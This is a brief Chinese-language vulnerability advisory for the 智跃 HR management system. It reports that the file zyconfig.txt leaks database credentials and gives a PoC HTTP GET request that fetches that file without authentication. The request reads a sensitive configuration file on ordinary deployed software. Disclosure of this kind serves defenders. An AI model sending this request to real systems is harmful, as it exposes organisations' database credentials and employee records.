智跃人力资源管理系统 zyconfig.txt 存在敏感信息泄露漏洞

日期: 2025-11-10 | 影响软件: 智跃人力资源管理系统 | POC: 已公开

漏洞描述

智跃人力资源管理系统是东莞市智跃软件科技有限公司研发的一个为企业提供数字化管理解决方案软件系统，它集成了人事、考勤、薪资等多个功能模块，智跃人力资源管理系统zyconfig.txt 敏感信息泄露，攻击者可获取系统数据库敏感信息

PoC代码

GET /resource/servs/file/zyconfig.txt HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

相关漏洞推荐